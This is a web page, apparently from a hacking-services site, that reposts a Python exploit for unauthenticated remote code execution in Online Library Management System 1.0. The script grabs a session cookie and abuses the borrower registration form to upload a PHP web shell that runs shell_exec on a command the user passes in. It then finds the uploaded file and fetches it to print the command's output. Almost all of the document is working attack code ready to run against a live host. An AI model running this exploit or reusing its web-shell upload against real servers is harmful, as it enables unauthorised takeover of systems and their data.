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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload Remote Code Execution (Unauthenticated)
# Date: 23-06-2021
# Exploit Author: Berk Can Geyikci
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip
# Version: 1.0
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28
# Exploit Tested Using: Python 3.8.6

'''
Steps To Produce:
1)Click Books
2)Select one book and click Read more
3)Get the book id from url #example_url http://localhost/ols/index.php?q=bookdetails&id=15243678
4)Execute Python Script with URL, Book id and Command
'''


'''
Import required modules:
'''
import sys, hashlib, requests
import urllib
import time
import random

try:
#settings
  target_url = sys.argv[1]
  book_id    = sys.argv[2]
  command    = sys.argv[3]

except IndexError:

        print("- usage: %s <target> <book_id> <command>" % sys.argv[0])
        print("- Example: %s http://example.com 15243678 'whoami'" % sys.argv[0])
        sys.exit()

url = target_url+"/ols/proccess.php?action=add"

session = requests.Session()
session.get(target_url+"/ols")
session_cookies = session.cookies
php_cookie = session.cookies.get_dict()['PHPSESSID'].strip()
print("Getting Session Cookie= "+php_cookie)

random_borrower_id = random.randint(0,999999)

#Headers to upload php
headers = {
    "Accept-Encoding": "gzip, deflate",
    "Referer": target_url + "/ols/index.php?q=borrow&id="+ book_id +"/",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBA3sFU893qYE7jKq",
    "Upgrade-Insecure-Requests": "1",
    "Connection": "close",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Cookie": "PHPSESSID="+php_cookie
}

req = requests.get(target_url+"/ols/index.php?q=borrow&id="+book_id, headers=headers)


data = "------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n15243678\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BorrowerId\"\r\n\r\n"+str(random_borrower_id)+"\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Firstname\"\r\n\r\ndummy_firstname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Lastname\"\r\n\r\ndummy_lastname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"MiddleName\"\r\n\r\ndummy_middlename\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Address\"\r\n\r\ndummy_address\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"optionsRadios\"\r\n\r\nMale\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"ContactNo\"\r\n\r\n1\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"CourseYear\"\r\n\r\n2021\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BUsername\"\r\n\r\ndummy_username\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BPassword\"\r\n\r\ndummy_\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"picture\"; filename=\"rcepoc_"+str(random_borrower_id)+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\r\n\r\n\r\n\r\necho shell_exec('"+command+"');\r\n\r\n\r\n\r\n?>\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"save\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq--\r\n"

req = requests.post(url, headers=headers, data=data)
print("Uploading file...")

req = requests.get(target_url+"/ols/proccess.php?action=checkout&id="+book_id, headers=headers)
#print(req.text)

req = requests.get(target_url+"/ols/borrower/", headers=headers)
#print(req.text)

req = requests.get(target_url+"/ols/asset/images/borrower/", headers=headers)
reqq = req.text
#print(reqq)
reqqq = reqq.find(str(random_borrower_id))
command_result = reqq[reqqq-21:reqqq+10]

req = requests.get(target_url+"/ols/asset/images/borrower/"+command_result+"", headers=headers)
print("Command Result = "+req.text)